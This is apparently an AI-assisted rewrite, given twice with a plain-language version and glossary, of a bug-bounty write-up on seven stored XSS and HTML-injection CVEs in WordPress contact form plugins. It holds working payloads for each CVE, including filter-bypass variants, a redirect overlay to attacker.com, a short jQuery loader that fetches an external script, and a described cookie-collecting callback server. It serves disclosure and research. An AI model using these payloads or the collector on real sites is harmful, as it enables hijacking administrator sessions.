Skip to content
XSS Write-up Intermediate

The Dark Side of Contact Forms: How I Identified 7 CVEs in WordPress Plugins

Several WordPress contact form plugins stored unescaped user input from form submissions, allowing an unauthenticated attacker to inject JavaScript that executed when an administrator viewed the entries page. This could let the attacker act with the administrator's session.

Pedro Paniago Follow

Published on blog.paniago.io

Bounty$2,500 View original

{{media:0}}

drop, on blog.paniago.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

In December 2023 I set out to find at least one CVE in WordPress core, a plugin or a theme. Part of the motivation was getting my first CVE, and part was that Wordfence was running a special bug bounty programme for several days that month. The research that came out of it led to 7 CVEs affecting plugins with a combined install base of more than 7 million WordPress sites.

drop
drop From the original on blog.paniago.io

The target class is WordPress contact form plugins. A contact form plugin lets a site owner build a form, embed it in a page or post, and let unauthenticated visitors submit it. Submissions are stored and later read by privileged users in an admin area, typically an Entries page. That stored-then-viewed flow is what makes the feature interesting: an anonymous visitor can put data into a place an administrator will open.

My focus was pre-authenticated, or unauthenticated, vulnerabilities, in the style of the research Assetnote publishes. I recalled CTF challenges where the goal was to get into the WordPress admin area to establish a reverse shell or web shell. Getting admin access usually meant obtaining admin cookies, and those were often linked to cross-site scripting, more precisely blind stored XSS via a contact form. WordPress does not explicitly set HTTPOnly and Content Security Policy headers by default, which can simplify XSS research.

So the research question became:

"Focus on WordPress contact form plugins that allow an unauthenticated user to submit a form, and attempt to trigger a blind XSS."

Setup

My first idea was to target plugins with over 50,000 installations that had not been updated recently, on the reasoning that infrequent updates might mean weak security. That was wrong: a lack of frequent updates does not necessarily mean the application is insecure. I changed approach.

I had five days to identify and report a bug while the Wordfence incentive was available, and I was working in my spare time. Source code review of WordPress plugins is time-consuming, so given a specific attack vector in mind I went straight to dynamic analysis. The plan was:

  1. List and identify the most well-known contact form plugins on WordPress.
  2. Set up my lab environment.
  3. Install and test the forms in the lab to identify potential blind injections.
  4. Report any discovered vulnerabilities.

For each plugin I installed it, created a new contact form, embedded it into a page or post, and tested it as an unauthenticated user to see whether I could inject code on submission. The objective was a stored XSS that would reach the admin session.

Three vulnerability types came out of this: Authenticated Stored XSS, Unauthenticated Blind HTML Injection, and Unauthenticated Blind XSS. At the end of the fifth day the list was:

CVE Product and version Type
CVE-2023-6828 ARForms <= 1.5.8 Unauthenticated Stored Cross-Site Scripting
CVE-2023-6842 Formidable Forms <= 6.7 Authenticated (Administrator+) Stored Cross-Site Scripting
CVE-2023-6830 Formidable Forms <= 6.7 Unauthenticated HTML Injection
CVE-2023-7063 WPForms Pro 1.8.4 to [redacted] Unauthenticated Stored Cross-Site Scripting
CVE-2023-6953 PDF Generator For Fluent Forms <= 1.1.7 Authenticated Stored Cross-Site Scripting
CVE-2023-6957 Fluent Forms <= 5.1.9 Authenticated (Contributor+) Stored Cross-Site Scripting
CVE-2024-0386 weForms <= 1.6.21 Unauthenticated Stored Cross-Site Scripting

Installation numbers at the time of writing:

Plugin Installations
WPForms 6+ million
Formidable Forms 400,000+
Fluent Forms 400,000+
weForms 20,000+
ARForms 3,000+

Combined, that is an impact on more than 7 million websites.

Finding it

Finding the bugs was, in my opinion, the easiest part. Having a CVE is useful, but finding vulnerable installations in real targets is the more interesting problem. I needed public bug bounty programmes with targets that ran the affected plugins. My hunting is not heavily reliant on reconnaissance and automation; I prefer to go deep into an application's functionality. Here the CVEs meant I did not need to find the bug again, only to identify targets impacted by it.

There were two options: do the reconnaissance myself, or ask someone who already had an automated process. I wanted to improve my reconnaissance skills, so I first automated it myself:

  1. Gather all domains and subdomains associated with public bug bounty programmes on platforms such as HackerOne, Bugcrowd, Intigriti and YesWeHack. This can be done via platform APIs, GitHub repositories, subfinder and similar.
  2. Probe those hosts to identify which run WordPress, using httpx from Project Discovery.
  3. For the WordPress hosts, find which use the affected plugin and whether the version is vulnerable, using a custom nuclei template I wrote.
  4. For hosts running an impacted version, crawl pages to find form locations, using katana.

At that point I had targets meeting all criteria: the plugin installed, an outdated version, and accessible contact forms. That is exactly what is needed to send payloads.

Then came the visibility problem. In my lab I could see the injection because I was logged in as an admin. In the real world I would not have that view, so I needed a system to collect data from the blind injection. I first tried XSS Hunter on a VPS; it worked well for basic tests.

From here the write-up focuses on CVE-2023-7063, which on its own affects more than 6 million WordPress sites.

The biggest obstacle was payload size. The payload XSS Hunter provides was far too large. My lab tests had used simple payloads such as alert(document.domain), but XSS Hunter needs to call an external JavaScript file to extract the information required to prove impact in a report. I tried several ways to shrink it. From the initial payload I reduced the character count by two, and it was still too large for the injection point, which had a maximum limit of 65 characters. I nearly gave up, thinking I had found a major bug in a popular plugin but could not exploit it correctly.

I reached out to Justin Gardner (Rhynorater), who suggested using jQuery to call an external JavaScript file. It worked, and I had a payload that fitted the 65-character limit.

With the payload in place I injected it and waited for the callback on my XSS Hunter server. There was a new problem: I could see interactions in the server logs, but XSS Hunter captured no information. XSS Hunter itself was fine, since it worked correctly in another location; the problem appeared where the payload was executing. I hosted a basic JavaScript file containing only alert(1) to confirm execution, and it triggered without issues. So the payload was executing, but the information XSS Hunter tried to extract was not coming through.

Debugging XSS Hunter took too long, so I wrote my own extraction system. Looking at XSS Hunter's standard output, the information it collected was cookies, IP address, date and URL path. To make a more comprehensive report I also wanted the name of the contact form, which would demonstrate that the exploit gave complete control over the victim's session. I wrote a basic JavaScript file and a PHP script to exfiltrate, parse and save the data in the desired format.

Because the injection is blind, I did not know when it would trigger, and I did not want to check an output file manually every day. I wrote a small Python script that watched the output file for new entries and sent a Telegram notification when one appeared.

For the second method of finding targets I reached out to my network. Justin connected me with Nagli, who has an excellent automation system. Since my own automation was complete, all I needed from Nagli was potential new targets. I shared my nuclei template with him so he could run it and pass targets back. This was beneficial: it meant sharing bounties, which was fair since it identified additional targets my own reconnaissance could not reach. The collaboration resulted in a $2,500 bounty.

Finding the 0day, reporting it, patching, and building the system to capture the right information from the blind injection took around four weeks in total. The process:

  1. Defined the scope of the research.
  2. Compiled a shortlist of plugins to test.
  3. Conducted hands-on testing.
  4. Reported findings to Wordfence for validation and CVE assignment.
  5. Waited for the vendor to patch the bug.
  6. Established a scalable reconnaissance system to identify affected targets.
  7. Implemented a platform to capture information from blind injections.
  8. Once authorised, sent the payload to vulnerable systems.
  9. Reported findings to bug bounty platforms.

Exploitation

CVE-2023-7063: WPForms Pro 1.8.4 to [redacted]

WPForms [redacted] is susceptible to unauthenticated blind stored XSS. An attacker submits a form containing malicious HTML. The code stays dormant until a privileged user (administrator, editor, author or contributor) opens the Entries page of the form. Opening the Entries page for the affected form executes the stored payload, which can lead to unauthorised actions or compromise of sensitive data.

A proof-of-concept payload:

HTML
<img/src=x onerror="alert(1)

The payload that loads an external JavaScript file:

HTML
<svg/onload="jQuery.getScript('https://xx.xx')

When the victim clicks "Entries" to view all entries, or the entries of a specific form, the dormant XSS triggers on the preview page.

CVE-2023-6828: ARForms <= 1.5.8

ARForms 1.5.8 is susceptible to unauthenticated blind stored XSS. The injection point is the arf_http_referrer_url parameter in a POST request during form submission.

HTML
<script>alert(document.domain)</script>

CVE-2023-6842: Formidable Forms <= 6.7 (Authenticated, Administrator+)

Formidable Forms <= 6.7 has a stored XSS. When creating a form, any authenticated user (administrator, or editor, author, contributor or subscriber granted permission to edit forms) could modify the Field Label and Field Description.

HTML
<img/src/onerror=alert(document.domain)>

The stored XSS triggers in three ways, depending on the role of the user who injected it:

  1. Form editing: when the victim clicks the field to edit it and then clicks the Field Label, the XSS triggers. All user levels can perform this attack.
  2. When the victim goes to the Styles area, the XSS triggers without user interaction. Only when an administrator or editor injected the payload.
  3. When the form is used in a post or page.

For the Field Label, subscribers, contributors and authors need a different payload because of the validation and sanitisation applied to those roles:

HTML
<img/s<script>rc<script>/oner<script>ror=prompt(8)>

Subscribers, contributors and authors cannot inject the previous payload into the Field Description. Even with those constraints, low-level users can inject arbitrary HTML into those fields, and the validation and sanitisation will not remove it.

CVE-2023-6830: Formidable Forms <= 6.7 (Unauthenticated HTML Injection)

Formidable Forms <= 6.7 allows unauthenticated users to inject arbitrary HTML into form fields. When an administrator views the form data in the Entries View Page, the injected HTML is rendered, which can lead to defacement or redirection to malicious sites.

Payload for an open redirect:

HTML
<a href="http://attacker.com" style="display: block; z-index: 100000; opacity: 0.5; position: fixed; top: 0px; left: 0; width: 1000000px; height: 100000px; background-color: red;"> </a>

As soon as the victim clicks anywhere on the red screen, they are redirected to the attacker's site. In a real scenario the attacker would not use a red background.

CVE-2023-6953: PDF Generator For Fluent Forms <= 1.1.7

The PDF Feed feature in the "Settings & Integration" area contains a stored XSS. Users authorised to create forms, such as author, contributor or editor, can inject JavaScript into text fields while editing a PDF Feed: Header Content, PDF Body Content and Footer Content. When another user, such as an administrator, opens the affected PDF Feed for editing, the script executes.

HTML
<EMBED SRC="data:image/svg+xml;base64, [redacted]+[redacted]=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

CVE-2023-6957: Fluent Forms <= 5.1.9 (Authenticated, Contributor+)

Inadequate sanitisation of user input in the "Custom HTML" field allows users with Administrator, Editor, Author or Contributor roles and sufficient permissions to inject JavaScript. The script executes when a victim accesses the malicious form.

Vulnerable location: Fluent Forms Plugin > Custom HTML Field. Vulnerable parameter: the text option in the HTML Code Editor.

HTML
<iframe srcdoc='&lt;body onload=prompt&lpar;document.domain&rpar;&gt;'>

CVE-2024-0386: weForms <= 1.6.21

An attacker submits the contact form and modifies the Referer HTTP header. Instead of a legitimate referer URL, the attacker injects a JavaScript payload such as javascript:alert(1). The payload is stored in the backend. When an admin views the entry and clicks the referer URL, the script executes. This allows blind XSS injections without authentication.

Payload used in the Referer header when submitting a form:

Text
javascript:alert(1)

Root cause

All seven issues share the same design mistake: data supplied by a user, often an unauthenticated visitor, is stored and later rendered in an administrative interface without adequate output encoding. In the contact form flow the plugin treats submission fields, the referer URL, form labels and descriptions, PDF feed content, custom HTML and the Referer header as data, but the admin views render them as markup. The stored payload is dormant until a privileged user opens the relevant page, which is what makes it blind from the attacker's side.

Why existing defences did not stop it: WordPress does not explicitly set HTTPOnly and CSP headers by default, so a successful script execution can reach session cookies. The report does not describe the specific sanitisation routines in each plugin, so the exact bypass in each case is not stated; the Formidable Forms notes show that validation and sanitisation differ by user role, and that low-privilege users can still inject arbitrary HTML even where script injection is constrained. In the WPForms case the injection point accepted at most 65 characters, which shaped the payload rather than preventing the attack.

Impact

For the unauthenticated variants (ARForms, Formidable Forms HTML injection, WPForms Pro, weForms), any anonymous visitor who can reach a form can plant content that executes or renders when an administrator, editor, author or contributor opens the Entries page or clicks the stored referer. The stated consequences include unauthorised actions performed with the victim's session and compromise of sensitive data. For the authenticated variants (Formidable Forms stored XSS, PDF Generator For Fluent Forms, Fluent Forms), a user with author, contributor, editor or administrator rights can escalate against higher-privileged users who open the affected form, PDF feed or custom HTML field.

The scale is the install base: more than 7 million websites across the affected plugins, with WPForms alone accounting for more than 6 million. The report does not give CVSS scores or per-target severity ratings.

Fix

It states that findings were reported to Wordfence for validation and CVE assignment, and that the process included waiting for the vendor to patch the bug. The fixes are therefore vendor patches, not changes I made; what each patch altered is not stated.

Variants to test

  1. Other contact form plugins with an Entries page: submit a benign marker in every field and check whether it is rendered as markup in the admin view. A positive result is the marker appearing unescaped in the entries list or detail view.
  2. Referer-based storage: send a form submission with a modified Referer header containing a javascript: value and check whether the admin entry view links to it. A positive result is a clickable link that executes script.
  3. Form builder fields editable by low-privilege roles: as a contributor or author, put HTML into labels, descriptions and custom HTML blocks, then view as an administrator. A positive result is rendered HTML or script execution in the admin context.
  4. PDF and export features: inject into header, body and footer content of generated documents and open the editor as a higher-privileged user. A positive result is execution when the feed is opened for editing.
  5. Payload length limits: where a field truncates input, measure the limit and try a short loader such as a jQuery getScript call to an external file. A positive result is a callback from the victim's browser.
  6. Blind XSS collection: deploy your own collector rather than relying on a hosted service, log cookies, IP, date, URL path and the form name, and alert on new entries. A positive result is a callback containing the admin session context.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

In December 2023 I set out to find at least one CVE in WordPress core, a plugin or a theme. A CVE is a public identifier given to a known security flaw, a bit like a reference number in a library catalogue: once a bug has one, everyone can look it up and talk about it unambiguously. Part of my motivation was getting my first CVE, and part was that Wordfence was running a special bug bounty programme for several days that month. A bug bounty programme is a scheme where a company pays people for reporting security flaws responsibly instead of exploiting them. The research that came out of it led to 7 CVEs affecting plugins with a combined install base of more than 7 million WordPress sites.

drop
drop From the original on blog.paniago.io

The target class is WordPress contact form plugins. WordPress is a system for building websites; a plugin is an add-on that adds a feature to it, like an app on a phone. A contact form plugin lets a site owner build a form, embed it in a page or post, and let unauthenticated visitors submit it. Unauthenticated simply means the visitor has not logged in: anyone on the internet can use the form. Submissions are stored and later read by privileged users in an admin area, typically an Entries page. That stored-then-viewed flow is what makes the feature interesting: an anonymous visitor can put data into a place an administrator will open. Think of a suggestion box in a shop: anyone can drop a note in, but the manager is the one who later takes the notes out and reads them.

My focus was pre-authenticated, or unauthenticated, vulnerabilities, in the style of the research Assetnote publishes. I recalled CTF challenges where the goal was to get into the WordPress admin area to establish a reverse shell or web shell. A CTF, or Capture The Flag, is a practice game where you solve security puzzles to earn points. A web shell is a small program an attacker plants on a server to run commands on it later; a reverse shell is a connection the server makes back to the attacker so they can control it. Getting admin access usually meant obtaining admin cookies, and those were often linked to cross-site scripting, more precisely blind stored XSS via a contact form.

A cookie is a small piece of data a website asks your browser to keep and send back with every request, so the site can remember who you are. The admin's cookie is effectively the key to the admin account. Cross-site scripting, or XSS, is a flaw where a site takes text from a user and later shows it as if it were part of the page, so the text can run as code in someone else's browser. "Stored" means the malicious text is saved on the server first and runs later, when a victim opens the page. "Blind" means the attacker cannot see the result directly: they plant the payload and wait to find out whether it fired, like leaving a letter and waiting for a reply. WordPress does not explicitly set HTTPOnly and Content Security Policy headers by default, which can simplify XSS research. HTTPOnly is a cookie setting that stops JavaScript from reading the cookie; CSP is a set of rules a site can send to the browser saying which scripts are allowed to run. Without those, a script that runs in the admin's browser can reach the session cookie more easily.

So the research question became:

"Focus on WordPress contact form plugins that allow an unauthenticated user to submit a form, and attempt to trigger a blind XSS."

Setup

My first idea was to target plugins with over 50,000 installations that had not been updated recently, on the reasoning that infrequent updates might mean weak security. That was wrong: a lack of frequent updates does not necessarily mean the application is insecure. A plugin can be old and still solid, just as an old lock can still be a good lock. I changed approach.

I had five days to identify and report a bug while the Wordfence incentive was available, and I was working in my spare time. Source code review of WordPress plugins is time-consuming, so given a specific attack vector in mind I went straight to dynamic analysis. Source code review means reading the program's text line by line looking for mistakes; dynamic analysis means running the software and poking at it to see how it behaves. The plan was:

  1. List and identify the most well-known contact form plugins on WordPress.
  2. Set up my lab environment.
  3. Install and test the forms in the lab to identify potential blind injections.
  4. Report any discovered vulnerabilities.

A lab environment is a private copy of the software on your own machine, where you can break things without affecting anyone. For each plugin I installed it, created a new contact form, embedded it into a page or post, and tested it as an unauthenticated user to see whether I could inject code on submission. The objective was a stored XSS that would reach the admin session.

Three vulnerability types came out of this: Authenticated Stored XSS, Unauthenticated Blind HTML Injection, and Unauthenticated Blind XSS. Authenticated means the attacker must have an account on the site; HTML injection means the attacker can insert page markup but not necessarily run script. At the end of the fifth day the list was:

CVE Product and version Type
CVE-2023-6828 ARForms <= 1.5.8 Unauthenticated Stored Cross-Site Scripting
CVE-2023-6842 Formidable Forms <= 6.7 Authenticated (Administrator+) Stored Cross-Site Scripting
CVE-2023-6830 Formidable Forms <= 6.7 Unauthenticated HTML Injection
CVE-2023-7063 WPForms Pro 1.8.4 to [redacted] Unauthenticated Stored Cross-Site Scripting
CVE-2023-6953 PDF Generator For Fluent Forms <= 1.1.7 Authenticated Stored Cross-Site Scripting
CVE-2023-6957 Fluent Forms <= 5.1.9 Authenticated (Contributor+) Stored Cross-Site Scripting
CVE-2024-0386 weForms <= 1.6.21 Unauthenticated Stored Cross-Site Scripting

The "<=" means "this version and older". "Administrator+" and "Contributor+" describe the minimum account level needed to carry out the attack.

Installation numbers at the time of writing:

Plugin Installations
WPForms 6+ million
Formidable Forms 400,000+
Fluent Forms 400,000+
weForms 20,000+
ARForms 3,000+

Combined, that is an impact on more than 7 million websites.

Finding it

Finding the bugs was, in my opinion, the easiest part. Having a CVE is useful, but finding vulnerable installations in real targets is the more interesting problem. I needed public bug bounty programmes with targets that ran the affected plugins. My hunting is not heavily reliant on reconnaissance and automation; I prefer to go deep into an application's functionality. Reconnaissance here means mapping out which sites exist and what they run, the way you might survey a neighbourhood before knocking on doors. Here the CVEs meant I did not need to find the bug again, only to identify targets impacted by it.

There were two options: do the reconnaissance myself, or ask someone who already had an automated process. I wanted to improve my reconnaissance skills, so I first automated it myself:

  1. Gather all domains and subdomains associated with public bug bounty programmes on platforms such as HackerOne, Bugcrowd, Intigriti and YesWeHack. This can be done via platform APIs, GitHub repositories, subfinder and similar. A domain is a site's name, such as example.com; a subdomain is a prefix on it, such as shop.example.com. An API is a way for one program to ask another program for data in a structured form, like a waiter taking your order to the kitchen rather than you walking in yourself.
  2. Probe those hosts to identify which run WordPress, using httpx from Project Discovery. Probing means sending a simple request and looking at the reply to learn what software answered.
  3. For the WordPress hosts, find which use the affected plugin and whether the version is vulnerable, using a custom nuclei template I wrote. A nuclei template is a small rule file that describes what to send and what reply counts as a match.
  4. For hosts running an impacted version, crawl pages to find form locations, using katana. Crawling means following links automatically to discover pages, like a spider walking a web.

At that point I had targets meeting all criteria: the plugin installed, an outdated version, and accessible contact forms. That is exactly what is needed to send payloads. A payload is the piece of text or code you send in the hope that it gets stored and later runs.

Then came the visibility problem. In my lab I could see the injection because I was logged in as an admin. In the real world I would not have that view, so I needed a system to collect data from the blind injection. I first tried XSS Hunter on a VPS; it worked well for basic tests. XSS Hunter is a service that gives you a payload and records a report when that payload runs somewhere. A VPS is a rented computer in a data centre that you control over the internet.

From here the write-up focuses on CVE-2023-7063, which on its own affects more than 6 million WordPress sites.

The biggest obstacle was payload size. The payload XSS Hunter provides was far too large. My lab tests had used simple payloads such as alert(document.domain), but XSS Hunter needs to call an external JavaScript file to extract the information required to prove impact in a report. alert(document.domain) is a tiny script that pops up a box showing the site's name; it proves code ran but collects nothing. I tried several ways to shrink it. From the initial payload I reduced the character count by two, and it was still too large for the injection point, which had a maximum limit of 65 characters. I nearly gave up, thinking I had found a major bug in a popular plugin but could not exploit it correctly.

I reached out to Justin Gardner (Rhynorater), who suggested using jQuery to call an external JavaScript file. jQuery is a widely used JavaScript library, a bundle of ready-made helper functions that many WordPress sites load. It worked, and I had a payload that fitted the 65-character limit.

With the payload in place I injected it and waited for the callback on my XSS Hunter server. A callback is the victim's browser contacting a server you control, which tells you the payload ran. There was a new problem: I could see interactions in the server logs, but XSS Hunter captured no information. XSS Hunter itself was fine, since it worked correctly in another location; the problem appeared where the payload was executing. I hosted a basic JavaScript file containing only alert(1) to confirm execution, and it triggered without issues. So the payload was executing, but the information XSS Hunter tried to extract was not coming through.

Debugging XSS Hunter took too long, so I wrote my own extraction system. Looking at XSS Hunter's standard output, the information it collected was cookies, IP address, date and URL path. To make a more comprehensive report I also wanted the name of the contact form, which would demonstrate that the exploit gave complete control over the victim's session. A session is the period a logged-in user is recognised by the site, held together by that cookie. I wrote a basic JavaScript file and a PHP script to exfiltrate, parse and save the data in the desired format. Exfiltrate means send data out to a place you control; parse means pick the useful parts out of the raw text; PHP is a programming language commonly used on web servers.

Because the injection is blind, I did not know when it would trigger, and I did not want to check an output file manually every day. I wrote a small Python script that watched the output file for new entries and sent a Telegram notification when one appeared. Python is a general-purpose programming language often used for small automation tasks; Telegram is a messaging app with a bot interface that programs can send messages through.

For the second method of finding targets I reached out to my network. Justin connected me with Nagli, who has an excellent automation system. Since my own automation was complete, all I needed from Nagli was potential new targets. I shared my nuclei template with him so he could run it and pass targets back. This was beneficial: it meant sharing bounties, which was fair since it identified additional targets my own reconnaissance could not reach. The collaboration resulted in a $2,500 bounty.

Finding the 0day, reporting it, patching, and building the system to capture the right information from the blind injection took around four weeks in total. A 0day, or zero-day, is a flaw that is not yet publicly known or fixed, so defenders have had zero days to prepare. The process:

  1. Defined the scope of the research.
  2. Compiled a shortlist of plugins to test.
  3. Conducted hands-on testing.
  4. Reported findings to Wordfence for validation and CVE assignment.
  5. Waited for the vendor to patch the bug.
  6. Established a scalable reconnaissance system to identify affected targets.
  7. Implemented a platform to capture information from blind injections.
  8. Once authorised, sent the payload to vulnerable systems.
  9. Reported findings to bug bounty platforms.

Exploitation

CVE-2023-7063: WPForms Pro 1.8.4 to [redacted]

WPForms [redacted] is susceptible to unauthenticated blind stored XSS. An attacker submits a form containing malicious HTML. The code stays dormant until a privileged user (administrator, editor, author or contributor) opens the Entries page of the form. Opening the Entries page for the affected form executes the stored payload, which can lead to unauthorised actions or compromise of sensitive data.

A proof-of-concept payload:

HTML
<img/src=x onerror="alert(1)

This is an image tag. src=x points the image at a file that does not exist, so the browser fails to load it. onerror is an attribute that tells the browser what to do when loading fails, and here it runs alert(1), a pop-up box. The trick is that the harmless-looking failure becomes the trigger for code. The quote at the end is left open on purpose, which is a common way to break out of the surrounding markup.

The payload that loads an external JavaScript file:

HTML
<svg/onload="jQuery.getScript('https://xx.xx')

This is an SVG tag, a format for drawing vector graphics that browsers render inline. onload runs when the element finishes loading. jQuery.getScript asks the page's jQuery library to fetch and run a script from the given address, so the whole payload stays short while the real work happens in a file you host. https://xx.xx is a placeholder for the address of that file.

When the victim clicks "Entries" to view all entries, or the entries of a specific form, the dormant XSS triggers on the preview page.

CVE-2023-6828: ARForms <= 1.5.8

ARForms 1.5.8 is susceptible to unauthenticated blind stored XSS. The injection point is the arf_http_referrer_url parameter in a POST request during form submission. A parameter is a named value sent with a request, like a field on a paper form. A POST request is the kind a browser sends when it submits data, as opposed to simply asking for a page.

HTML
<script>alert(document.domain)</script>

This is a script tag. Everything between the opening and closing tag is JavaScript, and the browser runs it as soon as it renders the page. alert(document.domain) shows a pop-up with the site's domain name, which proves the code ran in that site's context.

CVE-2023-6842: Formidable Forms <= 6.7 (Authenticated, Administrator+)

Formidable Forms <= 6.7 has a stored XSS. When creating a form, any authenticated user (administrator, or editor, author, contributor or subscriber granted permission to edit forms) could modify the Field Label and Field Description. A field label is the text next to an input, such as "Your name"; the description is the helper text under it.

HTML
<img/src/onerror=alert(document.domain)>

Same idea as before: an image that fails to load, with an error handler that runs alert(document.domain). Here the attribute value is unquoted, which still works in HTML.

The stored XSS triggers in three ways, depending on the role of the user who injected it:

  1. Form editing: when the victim clicks the field to edit it and then clicks the Field Label, the XSS triggers. All user levels can perform this attack.
  2. When the victim goes to the Styles area, the XSS triggers without user interaction. Only when an administrator or editor injected the payload.
  3. When the form is used in a post or page.

For the Field Label, subscribers, contributors and authors need a different payload because of the validation and sanitisation applied to those roles. Validation means checking input against rules; sanitisation means cleaning it so dangerous parts are removed.

HTML
<img/s<script>rc<script>/oner<script>ror=prompt(8)>

This looks broken on purpose. The word script is split by extra <script> fragments so that a filter looking for the literal pattern does not match, while the browser still assembles a working tag. prompt(8) shows an input box, which proves code ran just as a pop-up would.

Subscribers, contributors and authors cannot inject the previous payload into the Field Description. Even with those constraints, low-level users can inject arbitrary HTML into those fields, and the validation and sanitisation will not remove it.

CVE-2023-6830: Formidable Forms <= 6.7 (Unauthenticated HTML Injection)

Formidable Forms <= 6.7 allows unauthenticated users to inject arbitrary HTML into form fields. When an administrator views the form data in the Entries View Page, the injected HTML is rendered, which can lead to defacement or redirection to malicious sites. Defacement means changing how a page looks; an open redirect is a link that sends the visitor somewhere other than where they expected.

Payload for an open redirect:

HTML
<a href="http://attacker.com" style="display: block; z-index: 100000; opacity: 0.5; position: fixed; top: 0px; left: 0; width: 1000000px; height: 100000px; background-color: red;"> </a>

This is a link with no visible text, stretched by its style rules to cover the whole screen. position: fixed pins it in place, the huge width and height make it fill the viewport, z-index puts it above other content, and the red background makes it visible in the demo. href is the destination. As soon as the victim clicks anywhere on the red screen, they are redirected to the attacker's site. In a real scenario the attacker would not use a red background.

CVE-2023-6953: PDF Generator For Fluent Forms <= 1.1.7

The PDF Feed feature in the "Settings & Integration" area contains a stored XSS. Users authorised to create forms, such as author, contributor or editor, can inject JavaScript into text fields while editing a PDF Feed: Header Content, PDF Body Content and Footer Content. When another user, such as an administrator, opens the affected PDF Feed for editing, the script executes.

HTML
<EMBED SRC="data:image/svg+xml;base64, [redacted]+[redacted]=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

This is an embed tag, which asks the browser to load an object. SRC is the address of that object, and here it is a data: address, meaning the content is carried inside the address itself rather than fetched from a server. The long string after base64, is an SVG image encoded in base64, a way of writing binary data using only text characters. Decoded, that SVG contains a script that runs alert(document.domain). type="image/svg+xml" tells the browser what kind of content it is, and AllowScriptAccess="always" permits scripts inside it to run.

CVE-2023-6957: Fluent Forms <= 5.1.9 (Authenticated, Contributor+)

Inadequate sanitisation of user input in the "Custom HTML" field allows users with Administrator, Editor, Author or Contributor roles and sufficient permissions to inject JavaScript. The script executes when a victim accesses the malicious form.

Vulnerable location: Fluent Forms Plugin > Custom HTML Field. Vulnerable parameter: the text option in the HTML Code Editor.

HTML
<iframe srcdoc='&lt;body onload=prompt&lpar;document.domain&rpar;&gt;'>

An iframe is a frame inside a page that loads separate content. srcdoc lets you put that content inline as text. The content is written with HTML entities: &lt; means <, &gt; means >, &lpar; means ( and &rpar; means ). So the frame's content is a body tag whose onload runs prompt(document.domain). The entities let the payload slip past filters that look for plain angle brackets and parentheses.

CVE-2024-0386: weForms <= 1.6.21

An attacker submits the contact form and modifies the Referer HTTP header. Instead of a legitimate referer URL, the attacker injects a JavaScript payload such as javascript:alert(1). The payload is stored in the backend. When an admin views the entry and clicks the referer URL, the script executes. This allows blind XSS injections without authentication. A header is extra information sent alongside a request, like the label on a parcel; Referer normally tells the site which page you came from. A javascript: link is one that runs code when clicked instead of opening a page.

Payload used in the Referer header when submitting a form:

Text
javascript:alert(1)

This is a single line. If the site later shows the referer as a clickable link, clicking it runs alert(1), a pop-up that proves code executed.

Root cause

All seven issues share the same design mistake: data supplied by a user, often an unauthenticated visitor, is stored and later rendered in an administrative interface without adequate output encoding. Output encoding means converting characters that have special meaning in HTML, such as <, into harmless equivalents before showing them. In the contact form flow the plugin treats submission fields, the referer URL, form labels and descriptions, PDF feed content, custom HTML and the Referer header as data, but the admin views render them as markup. The stored payload is dormant until a privileged user opens the relevant page, which is what makes it blind from the attacker's side.

Why existing defences did not stop it: WordPress does not explicitly set HTTPOnly and CSP headers by default, so a successful script execution can reach session cookies. The report does not describe the specific sanitisation routines in each plugin, so the exact bypass in each case is not stated; the Formidable Forms notes show that validation and sanitisation differ by user role, and that low-privilege users can still inject arbitrary HTML even where script injection is constrained. In the WPForms case the injection point accepted at most 65 characters, which shaped the payload rather than preventing the attack.

Impact

For the unauthenticated variants (ARForms, Formidable Forms HTML injection, WPForms Pro, weForms), any anonymous visitor who can reach a form can plant content that executes or renders when an administrator, editor, author or contributor opens the Entries page or clicks the stored referer. The stated consequences include unauthorised actions performed with the victim's session and compromise of sensitive data. For the authenticated variants (Formidable Forms stored XSS, PDF Generator For Fluent Forms, Fluent Forms), a user with author, contributor, editor or administrator rights can escalate against higher-privileged users who open the affected form, PDF feed or custom HTML field. Escalate here means use a small foothold to reach a bigger one.

The scale is the install base: more than 7 million websites across the affected plugins, with WPForms alone accounting for more than 6 million. The report does not give CVSS scores or per-target severity ratings. CVSS is a standard scoring system for how serious a flaw is.

Fix

It states that findings were reported to Wordfence for validation and CVE assignment, and that the process included waiting for the vendor to patch the bug. The fixes are therefore vendor patches, not changes I made; what each patch altered is not stated.

Variants to test

  1. Other contact form plugins with an Entries page: submit a benign marker in every field and check whether it is rendered as markup in the admin view. A positive result is the marker appearing unescaped in the entries list or detail view. A benign marker is harmless text you can recognise later, such as a unique word.
  2. Referer-based storage: send a form submission with a modified Referer header containing a javascript: value and check whether the admin entry view links to it. A positive result is a clickable link that executes script.
  3. Form builder fields editable by low-privilege roles: as a contributor or author, put HTML into labels, descriptions and custom HTML blocks, then view as an administrator. A positive result is rendered HTML or script execution in the admin context.
  4. PDF and export features: inject into header, body and footer content of generated documents and open the editor as a higher-privileged user. A positive result is execution when the feed is opened for editing.
  5. Payload length limits: where a field truncates input, measure the limit and try a short loader such as a jQuery getScript call to an external file. A positive result is a callback from the victim's browser.
  6. Blind XSS collection: deploy your own collector rather than relying on a hosted service, log cookies, IP, date, URL path and the form name, and alert on new entries. A positive result is a callback containing the admin session context.

Glossary

  • 0day (zero-day): a security flaw that is not yet publicly known or fixed, so defenders have had no time to prepare.
  • API: a structured way for one program to request data or actions from another program.
  • Authenticated: carried out by someone who has logged in to the site.
  • Base64: a way of writing binary data using only text characters, so it can travel inside text such as a URL.
  • Blind XSS: cross-site scripting where the attacker cannot see the result directly and must wait for a callback to learn whether it fired.
  • Bug bounty programme: a scheme where an organisation pays people for reporting security flaws responsibly.
  • Callback: a request from the victim's browser to a server the attacker controls, proving the payload ran.
  • Cookie: a small piece of data a site asks the browser to keep and send back, used to remember who you are.
  • Crawling: automatically following links to discover pages on a site.
  • CSP (Content Security Policy): rules a site sends to the browser saying which scripts are allowed to run.
  • CTF (Capture The Flag): a practice game where you solve security puzzles to earn points.
  • CVE: a public identifier given to a known security flaw so everyone can refer to it unambiguously.
  • CVSS: a standard scoring system for how serious a security flaw is.
  • Data URL: an address that carries the content inside itself instead of pointing to a server.
  • Defacement: changing how a page looks, usually to embarrass the owner.
  • Domain: a site's name, such as example.com.
